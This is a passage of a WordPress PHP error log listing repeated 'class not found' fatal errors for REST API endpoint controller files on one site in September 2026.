thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 18:46:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 18:46:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 18:47:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 18:47:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [04-Sep-2026 18:48:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 18:48:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 18:48:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [04-Sep-2026 18:48:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [04-Sep-2026 18:48:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 18:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 18:50:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 09:57:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 09:57:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 09:57:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 09:57:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 09:58:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 09:58:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 09:59:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 10:00:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 10:01:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 10:01:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 10:02:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 10:02:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 10:02:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 10:03:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 10:19:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 10:19:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 10:19:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 10:19:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 10:19:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 10:19:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 10:19:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 10:19:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 10:19:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 10:19:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 10:20:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 10:20:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 10:20:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 10:20:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 10:20:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 10:21:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 10:21:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 10:21:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 10:21:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 10:22:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 10:22:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 10:22:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 10:23:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 10:23:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 10:24:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 10:25:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 10:26:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 10:28:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 10:53:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 11:05:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 11:07:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [10-Sep-2026 11:26:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [10-Sep-2026 13:35:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 13:36:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 13:36:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 13:36:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [10-Sep-2026 13:36:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 13:36:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 13:36:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 13:37:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 13:37:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 13:37:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 13:37:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 13:37:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 13:38:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 13:38:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 13:39:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 13:39:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [10-Sep-2026 13:39:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 13:39:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 13:40:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 13:40:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [10-Sep-2026 13:40:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 13:40:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 13:41:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 13:41:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in 